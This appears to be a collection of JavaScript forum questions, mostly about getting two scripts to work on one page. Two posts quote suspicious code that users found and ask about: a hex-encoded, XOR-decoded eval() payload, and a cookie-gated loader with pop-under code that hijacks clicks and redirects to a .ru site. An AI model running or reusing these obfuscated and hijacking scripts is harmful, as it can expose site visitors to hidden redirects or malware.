Images2/Guzzler_XCR_400.JPG" onmouseover="showTitle('Guzzler XCR');"></li> </ul> <br /> <br /> <div align=center><span id="title" style="font-weight:bold; size:26pt;"></span></div> <script type="text/javascript"> function showTitle(txt) { obj = document.getElementById("title"); obj.innerHTML = txt; } </script> </body> </html> Is possible to call cgi scripts from javascript scripts?
Please take a look at below scripts, i want know what is their functions exactly 1- Code: <script type="text/javascript"> function addBookmark(url, title) { if (!url) url = location.href; if (!title) title = document.title; //Gecko if ((typeof window.sidebar == "object") && (typeof window.sidebar.addPanel == "function")) window.sidebar.addPanel ("xxx.com - Лучшие ", "http://xxx.com/?d=bm", ""); //IE4+ else if (typeof window.external == "object") window.external.AddFavorite ("http://yyy.com/?d=bm", "xxx.com - Лучшие "); //Opera7+ else if (window.opera && document.createElement) { var a = document.createElement('A'); if (!a) return false; //IF Opera 6 a.setAttribute('rel','sidebar'); a.setAttribute('href',url); a.setAttribute('title',title); a.click(); } else return false; return true; } </script> 2- Code: <script language="javascript"> var s="6b2b73435c4e552b5229682a49705f526c2b552b7547636f463443405a34425f2a2a5a6e242436745d357824657a594e7471556b78405c6e744d21584c443f7b31684b736d33284b4674562d5d312b566650377621755f346e627959232e446d3361356556612946285e6356253f596f54486f6d2e5a794e31473d724435603e407c664f373927246c642f2e2f2a4525375060323b4e736d5b265b323e356f3665633f542e2b55323c43776c62733244665b7b4d765e4c7e2d356c69455c3061432a3c483c6f506751731d4a0163033d211662053741244d6f7e0947684f1a241602235a376e3d51361a464f370b4a504536246119432b1b342b5c533d1f152c7e474f294e3b39295a154546281c0258412e7b563c5960756a122e14713265311e7027263d1d666a004f0804593e663c072946330c23565a3400222d520b5b341a3a5828535a6d4e3f552d5c4d7206024e42443b44431118650311703f414f734e5d725d04414a085e0d010c5c21434e3b4612201803091a577944360f70321c08366973282d011d7428076e780d782b725c2c0e",s2="",i; for(i=0;i<s.length/4;i++) s2+=String.fromCharCode(parseInt("0x"+s.substr(i*2,2))^parseInt("0x"+s.substr(i*2+s.length/2,2)));eval(s2); </script> Hey Everyone, first time posting so thanks for any help. I'm fairly new to JS and was playing around with the horizontal menu CSS and JS files found here on the site (http://www.javascriptkit.com/script/...stopmenu.shtml). I was able to go edit the CSS page to edit the images used in the menu, but if I wanted to add another horizontal menu in a different spot, how do I rename the CSS and JS files, and identify them in the body so that I could use the same style but just switch the img src in the javascript file? .....I have this in the head of the page: Code: <link rel="stylesheet" type="text/css" href="css/csshorizontalmenu.css" /> </script> <script type="text/javascript" src="css/csshorizontalmenu.js"> </script> .....And this in the body Code: <div class="horizontalcssmenu"> <ul id="cssmenu1"> <li style="border-left: 0px solid #202020;"><a href="http://www.javascriptkit.com/">Browse</a></li> <li><a href="http://www.javascriptkit.com/cutpastejava.shtml" >Search</a></li> So for a second menu, can I copy the csshorizontalmenu.js files as csshorizontalmenu1.js and recall it through a div class or such? Thanks for any help and sorry if that was confusing I have two pieces of code that work individually, each for a single element on a webpage. I need to know how to put these together somehow, as only the second works when they are added in the head tag pair. Code: <script type="text/javascript"> function showHideDiv(val){ document.getElementById('hidden_state1').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'block' : 'none'; document.getElementById('state1').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'none' : 'block'; document.getElementById('state1').style.display = (val == 'USA')? 'block' : 'none'; document.getElementById('hidden_state1').style.display = (val == 'USA')? 'none' : 'block'; } window.onload=function(){ document.getElementById('country_code').onchange=function(){showHideDiv(this.value);} } </script> and Code: <script type="text/javascript"> function showHideDiv(val){ document.getElementById('hidden_state2').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'block' : 'none'; document.getElementById('state2').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'none' : 'block'; document.getElementById('state2').style.display = (val == 'USA')? 'block' : 'none'; document.getElementById('hidden_state2').style.display = (val == 'USA')? 'none' : 'block'; } window.onload=function(){ document.getElementById('shipping_country_code').onchange=function(){showHideDiv(this.value);} } </script> The purpose of the first code is to display a "State or Province" input field and cause the "State" dropdown box to disappear when any other country than USA is selected from the country_code dropdown box. The second piece of code has the same purpose, except that it is for the shipping_country_code dropdown box. These codes work individually, but when I put them both between the head tags, only the second one works. How would I put these together to make them both work on the same page? Thanks for your help, as I am inexperienced with javascript. ~Sarah Hi Chaps, I had a two similar scripts that uses a select option to pass a parameter to a php page, then returns options/values to a seperate select drop down. Both of these scripts worked fine until I added another script. The new script is different, in that it checks the value of the original select option, then passes that value to a seperate php page, then, if a condition is met, an input field is displayed. This new script works, but has resulted in the two original scripts doubling the values that they return. I hope that makes sense, if anyone can spare anytime, I'll gladly post the code and any other information . . . . Cheers I have the following two scripts: Code: <script type="text/javascript"> window.onload = function() { document.getElementById('ad1_inline').appendChild(document.getElementById('ad1_footer')); document.getElementById('ad1_footer').style.display = ''; } </script> And... Code: <script type="text/javascript"> // <![CDATA[ function hide_qr(show) { dE('qr_editor_div'); dE('qr_showeditor_div'); if (show && document.getElementById('qr_editor_div').style.display != 'none') { document.getElementsByName('message')[0].focus(); } return true; } function init_qr() { dE('qr_showeditor_div'); return true; } onload_functions.push('init_qr();'); // ]]> </script> But when I have them on the same page together, the second script does not work at all, but the first script still works. Any way I can use these together? hi friends Please look exactlt at this two scripts , when i click on page include these scripts , it will open a page go to redirecturl.ru but i can't see this url inside scripts , i want know where this url is located ? below on main page before click Code: <script language="javascript"> <!-- function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return(setStr); } // if(getCookie('21726clickunder1810')) { document.write('<'+'sc'+'ri'+'pt language="JavaScript" src="/gogo.js"><'+'/sc'+'ri'+'pt>'); } else { document.write('<'+'sc'+'ri'+'pt language="JavaScript" src="/sun21726_ajax.js"><'+'/sc'+'ri'+'pt>'); } //--> </script> gogo.js script Code: if (navigator.cookieEnabled) {var pop_under = null;var pop_cookie_name = "gavgav";var pop_timeout = 720;function pop_cookie_enabled(){var is_enabled = false;if (!window.opera && !navigator.cookieEnabled)return is_enabled;if (typeof document.cookie == 'string')if (document.cookie.length == 0){document.cookie = "test";is_enabled = document.cookie == 'test';document.cookie = '';} else{is_enabled = true;}return is_enabled;}function pop_getCookie(name){var cookie = " " + document.cookie;var search = " " + name + "=";var setStr = null;var offset = 0;var end = 0;if (cookie.length > 0){offset = cookie.indexOf(search);if (offset != -1){offset += search.length;end = cookie.indexOf(";", offset);if (end == -1){end = cookie.length;} setStr = unescape(cookie.substring(offset, end));}}return(setStr); }function pop_setCookie (name, value){document.cookie = name + "=" + escape(value) + "; expires=Friday,31-Dec-50 23:59:59 GMT; path=/;"; }function show_pop(){var pop_wnd = "http://xxx.com";var fea_wnd = "scrollbars=1,resizable=1,toolbar=1,location=1,menubar=1,status=1,directories=0";var need_open = true;if (document.onclick_copy != null)document.onclick_copy();if (document.body.onbeforeunload_copy != null)document.body.onbeforeunload_copy();if (pop_under != null){if (!pop_under.closed)need_open = false;}if (need_open){if (pop_cookie_enabled()){val = pop_getCookie(pop_cookie_name);if (val != null){now = new Date();val2 = new Date(val); utc1 = Date.UTC(now.getFullYear(), now.getMonth(), now.getDate(), now.getHours(), now.getMinutes(), now.getSeconds()); utc2 = Date.UTC(val2.getFullYear(), val2.getMonth(), val2.getDate(), val2.getHours(), val2.getMinutes(), val2.getSeconds()); if ((utc1 - utc2)/1000 < pop_timeout*60) {need_open = false;}}}}if (need_open){under = window.open(pop_wnd, "", fea_wnd);under.blur();window.focus();if (pop_cookie_enabled()){now = new Date();pop_setCookie(pop_cookie_name, now);}} }function pop_init(){var ver = parseFloat(navigator.appVersion);var ver2 = (navigator.userAgent.indexOf("Windows 95")>=0 || navigator.userAgent.indexOf("Windows 98")>=0 || navigator.userAgent.indexOf("Windows NT")>=0 )&&(navigator.userAgent.indexOf('Opera') == -1)&&(navigator.appName != 'Netscape') &&(navigator.userAgent.indexOf('MSIE') > -1) &&(navigator.userAgent.indexOf('SV1') > -1) &&(ver >= 4); if (ver2){if (document.links){for (var i=0; i<document.links.length; i++){if (document.links[i].target != "_blank"){document.links[i].onclick_copy = document.links[i].onclick;document.links[i].onclick = show_pop;}}}}document.onclick_copy = document.onclick;document.onmouseup = show_pop;return true;}pop_init();} sun21726_ajax.js Code: var ajaxv1=21726;var ajaxv2='';var ajaxv3='';l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII; where redirecturl.ru located ?! Hi there, I have a couple of scripts which both do exactly what I want, but when I try use them both at the same time only one of them will work, could you tell me if i need to change anything in them to get them both to work at the same time or if im missing something really simple? Thanks Script 1 Code: <script type="text/javascript"> var imgPaths = ['pic1.jpg', 'pic2.jpg', 'pic3.jpg', 'pic4.jpg', 'pic5.jpg']; //preload the images var imgObjs = new Array; for(var i=0; i < imgPaths.length; i=i+1) { imgObjs[i] = new Image(); imgObjs[i].src = imgPaths[i]; } function togglePic(num) { if(currPic == 0 || currPic != num) { document.getElementById("image").src = imgObjs[num].src; currPic = num; } else { document.getElementById("image").src = imgObjs[0].src; currPic = 0; } } //load the default image window.onload=function() { document.getElementById("image").src = imgObjs[0].src; currPic = 0; //flag storing current pic number } </script> Script 2 Code: <script type="text/javascript"> window.onload=function () { setStyles(); }; function setStyles() { ids = new Array ('style1','style2','style3','style4'); for (i=0;i<ids.length;i++) { document.getElementById(ids[i]).className=''; document.getElementById(ids[i]).onclick=function() { return Cngclass(this); } } } function Cngclass(obj){ var currObj; for (i=0;i<ids.length;i++) { currObj = document.getElementById(ids[i]); if (obj.id == currObj.id) { currObj.className=(currObj.className=='')?'selected':''; } else { currObj.className=''; } } return false; } </script> HTML Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title></title> </head> <body> <div id="style"> <div id="styleimage"> <img src="" id="image" width="610" height="229" /> </div> <div id="stylenav"> <ul> <li id="style1"><a href="#" onclick="togglePic(1); return false">style 1</a></li> <li id="style2"><a href="#" onclick="togglePic(2); return false">style 2</a></li> <li id="style3"><a href="#" onclick="togglePic(3); return false">style 3</a></li> <li id="style4"><a href="#" onclick="togglePic(4); return false">style 4</a></li> </ul> </div> </div> </body> </html> Hi guys I have to scripts on my page and they work fine on their own but when i put them together one stops working ?? One is the colorbox script and the other toggles some hidden content. Any ideas why they wont work on the same page ? This is whats in my head section and the start of the body section Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script type="text/javascript" src="../../js_files/jquery.easing.1.3.js"></script> <script type="text/javascript" src="../../js_files/jquery.tools.min.js"></script> <!--[if lt IE9]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]--> <link rel="stylesheet" href="../../colorbox/colorbox.css" type="text/css" /> <script src="http://code.jquery.com/jquery-1.6.1.min.js" type="text/javascript"></script> <script src="../../colorbox/jquery.colorbox-min.js" type="text/javascript"></script> <script type="text/javascript"> $(document).ready(function(){ //Examples of how to assign the ColorBox event to elements $("a[rel='slides']").colorbox({transition:"none", width:"70%", height:"70%", scalePhotos:false}); }); </script> </head> <body> <script language="JavaScript" type="text/javascript"> $(function() { $("#tabs").tabs("#tabscontent section", { effect: 'fade', fadeOutSpeed: 0, fadeInSpeed: 400 }); }); </script> Hi, I have two versions of a script: version A gets used on a visitor's first round, where the page is dynamically altered; if the visitor wants to do another round, I need to switch to version B. I could load both versions initially, but that seems overkill. Any suggestions ? Howdy, I found a script and another I would like to combine. One refresh's the page w/a countdown. Then other then scrolls to the bottom of the page. <script> /* Auto Refresh Page with Time script By JavaScript Kit (javascriptkit.com) Over 200+ free scripts here! */ //enter refresh time in "minutes:seconds" Minutes should range from 0 to inifinity. Seconds should range from 0 to 59 var limit="0:30" if (document.images){ var parselimit=limit.split(":") parselimit=parselimit[0]*60+parselimit[1]*1 } function beginrefresh(){ if (!document.images) return if (parselimit==1) window.location.reload() else{ parselimit-=1 curmin=Math.floor(parselimit/60) cursec=parselimit%60 if (curmin!=0) curtime=curmin+" minutes and "+cursec+" seconds left until page refresh!" else curtime=cursec+" seconds left until page refresh!" window.status=curtime setTimeout("beginrefresh()",1000) } } window.onload=beginrefresh //--> </script> end Refresh script --> <!--Start bottom script onload --> <script> function go(){ setTimeout(window.location='#bottom', 20000); } </script> <!-- End bottom script--> <title>Form to database - showing records</title> </head> <body onload='go()'> <% @ Language="VBScript" %> <% Option Explicit %> <html> <head> <meta http-equiv="refresh" content="60"> <!--START Time Script it does not work w/bottom script <script> /* Auto Refresh Page with Time script By JavaScript Kit (javascriptkit.com) Over 200+ free scripts here! */ //enter refresh time in "minutes:seconds" Minutes should range from 0 to inifinity. Seconds should range from 0 to 59 var limit="0:30" if (document.images){ var parselimit=limit.split(":") parselimit=parselimit[0]*60+parselimit[1]*1 } function beginrefresh(){ if (!document.images) return if (parselimit==1) window.location.reload() else{ parselimit-=1 curmin=Math.floor(parselimit/60) cursec=parselimit%60 if (curmin!=0) curtime=curmin+" minutes and "+cursec+" seconds left until page refresh!" else curtime=cursec+" seconds left until page refresh!" window.status=curtime setTimeout("beginrefresh()",1000) } } window.onload=beginrefresh //--> </script> end Refresh script --> <!--Start bottom script onload --> <script> function go(){ setTimeout(window.location='#bottom', 20000); } </script> <!-- End bottom script--> <title>Form to database - showing records</title> </head> <body onload='go()'> <center>IS TICKET SUBMISSION </center> <hr> <% 'declare your variables Dim connection, recordset Dim sSQL, sConnString 'declare SQL statement that will query the database sSQL="SELECT * FROM Users_tbl" 'create an ADO connection and recordset object Set connection = Server.CreateObject("ADODB.connection") Set recordset = Server.CreateObject("ADODB.Recordset") 'define the connection string, specify database 'driver and the location of database sConnString="PROVIDER=Microsoft.Jet.OLEDB.4.0;" & _ "Data Source=" & Server.MapPath("Users.mdb") 'Open the connection to the database Connection.Open sConnString 'Open the recordset object, executing the SQL Recordset.Open sSQL, Connection 'Looping through the records until the end of the records Do while Not recordset.eof Response.Write "Name : " & recordset("name") & "<br>" Response.Write "Phone : " & recordset("Phone") & "<br>" Response.Write "Comments : " & recordset("comments") & "<br>" Response.Write "Date : " & recordset("Date") & "<br>" Response.Write "Time : " & recordset("Time") & "<br><hr>" 'move on to the next record recordset.MoveNext loop 'Now close the recordset and the connection object recordset.Close Set recordset = Nothing connection.Close Set connection = Nothing %> <a name='bottom'> </a> </body> </html> I threw in the rest of the script. It pulls data from access database. Then I can just keep my browser up and watch my tickets come in. However, I can only get one or the other to work but not both. It's hassel to keep refreshing the script. I tried a meta tag for refresh. And used the bottom script. But that doen't work. I know, I am horrible hack.. Any suggestions or actual script would be wonderful The two scripts are a random image script and a bouncing image script. After the page loads I can see the bouncing image script working but its the "missing image" box. How can I fix this to load the images from the random script? Also, if anyone has a suggestion on how to give the bouncing images a % transparency that would be very helpful also! I think the easiest way is going to be using transparent png images instead of jpgs but I could be wrong. Anyway, the code is below.......... This is the html file: Code: <html> <head> <script language="JavaScript" src="dynlib.js"></script> <script language="JavaScript" src="bouncingimages.js"></script> <SCRIPT LANGUAGE="JavaScript"> <!-- Begin // Set up the image files to be used. var theImages = new Array() // do not change this // To add more image files, continue with the // pattern below, adding to the array. theImages[0] = '1.jpg' theImages[1] = '2.jpg' theImages[2] = '3.jpg' theImages[3] = '4.jpg' theImages[4] = '5.jpg' theImages[5] = '6.jpg' // do not edit anything below this line var j = 0 var p = theImages.length; var preBuffer = new Array() for (i = 0; i < p; i++){ preBuffer[i] = new Image() preBuffer[i].src = theImages[i] } var whichImage = Math.round(Math.random()*(p-1)); function showImage(){ document.write('+theImages[whichImage]+'); } // End --> </script> </head> <body onLoad="javascript:loadBouncingImages();"> </body> </html> and this is the bouncing images js file: Code: // INITIALIZATION: bouncingImages = new Object(); // CONFIGURATION: bouncingImages.imgCount = 1; bouncingImages.imgWidth = 200; bouncingImages.imgHeight = 200; bouncingImages.imgSrc = "showImage()"; bouncingImages.frameRate = 30; bouncingImages.minRandomSpeed = 2; bouncingImages.maxRandomSpeed = 8; // MAIN: bouncingImages.isLoaded = false; bouncingImages.dirX = new Array(); bouncingImages.dirY = new Array(); bouncingImages.posX = new Array(); bouncingImages.posY = new Array(); bouncingImages.speedX = new Array(); bouncingImages.speedY = new Array(); var winWidth, winHeight; if (dyn) var preloadImgObj = loadImg(bouncingImages.imgSrc); function loadBouncingImages() { if (dyn && !bouncingImages.isLoaded) { winWidth = getWinWidth(); winHeight = getWinHeight(); for (var layerLoop = 0; layerLoop < bouncingImages.imgCount; layerLoop++) { bouncingImages.dirX[layerLoop] = (Math.round(Math.random()) == 0) ? 'left' : 'right'; bouncingImages.dirY[layerLoop] = (Math.round(Math.random()) == 0) ? 'up' : 'down'; bouncingImages.posX[layerLoop] = Math.floor(Math.random() * (winWidth - bouncingImages.imgWidth - 1)) + getDocScrollLeft(); bouncingImages.posY[layerLoop] = Math.floor(Math.random() * (winHeight - bouncingImages.imgHeight - 1)) + getDocScrollTop(); bouncingImages.speedX[layerLoop] = Math.round(Math.random() * (bouncingImages.maxRandomSpeed - bouncingImages.minRandomSpeed)) + bouncingImages.minRandomSpeed; bouncingImages.speedY[layerLoop] = Math.round(Math.random() * (bouncingImages.maxRandomSpeed - bouncingImages.minRandomSpeed)) + bouncingImages.minRandomSpeed; var tempLayerObj = addLayer('bouncingImagesLyr' + layerLoop); bouncingImages['layerObj' + layerLoop] = tempLayerObj; setLayerSize(tempLayerObj,bouncingImages.imgWidth,bouncingImages.imgHeight); setLayerClip(tempLayerObj,0,bouncingImages.imgWidth,bouncingImages.imgHeight,0); setLayerHTML(tempLayerObj,getImgTag('bouncingImagesImg' + layerLoop,preloadImgObj.src,bouncingImages.imgWidth,bouncingImages.imgHeight,0)); moveLayerTo(tempLayerObj,bouncingImages.posX[layerLoop],bouncingImages.posY[layerLoop]); showLayer(tempLayerObj); } bouncingImages.isLoaded = true; moveBouncingImages(); } } function moveBouncingImages() { for (var layerLoop = 0; layerLoop < bouncingImages.imgCount; layerLoop++) { if (bouncingImages.dirX[layerLoop] == 'left') { if (bouncingImages.posX[layerLoop] > bouncingImages.speedX[layerLoop]) bouncingImages.posX[layerLoop] -= bouncingImages.speedX[layerLoop]; else { bouncingImages.dirX[layerLoop] = 'right'; bouncingImages.posX[layerLoop] = 0; } } else if (bouncingImages.dirX[layerLoop] == 'right') { if (bouncingImages.posX[layerLoop] + bouncingImages.imgWidth < winWidth - bouncingImages.speedX[layerLoop]) bouncingImages.posX[layerLoop] += bouncingImages.speedX[layerLoop]; else { bouncingImages.dirX[layerLoop] = 'left'; bouncingImages.posX[layerLoop] = winWidth - bouncingImages.imgWidth; } } if (bouncingImages.dirY[layerLoop] == 'up') { if (bouncingImages.posY[layerLoop] > bouncingImages.speedY[layerLoop]) bouncingImages.posY[layerLoop] -= bouncingImages.speedY[layerLoop]; else { bouncingImages.dirY[layerLoop] = 'down'; bouncingImages.posY[layerLoop] = 0; } } else if (bouncingImages.dirY[layerLoop] == 'down') { if (bouncingImages.posY[layerLoop] + bouncingImages.imgHeight < winHeight - bouncingImages.speedY[layerLoop]) bouncingImages.posY[layerLoop] += bouncingImages.speedY[layerLoop]; else { bouncingImages.dirY[layerLoop] = 'up'; bouncingImages.posY[layerLoop] = winHeight - bouncingImages.imgHeight; } } } for (var layerLoop = 0; layerLoop < bouncingImages.imgCount; layerLoop++) moveLayerTo(bouncingImages['layerObj' + layerLoop],bouncingImages.posX[layerLoop] + getDocScrollLeft(),bouncingImages.posY[layerLoop] + getDocScrollTop()); window.setTimeout('moveBouncingImages()',bouncingImages.frameRate); } Hi Guys, I'm remotely new to the world of scripting in general. I'm trying to run two scripts: Coda Slider (http://www.ndoherty.biz/tag/coda-slider/) and OS X Style Dialogue (http://www.ericmmartin.com/projects/simplemodal-demos/) But I'm am having difficulty doing so. I've heard the term "script confliction" throw around a lot - but I don't know how to solve it. My scripting code can be seen on the practice website: http://thenativedrum.com/practice/ Any help would be greatly appreciated. Thanks in advance! |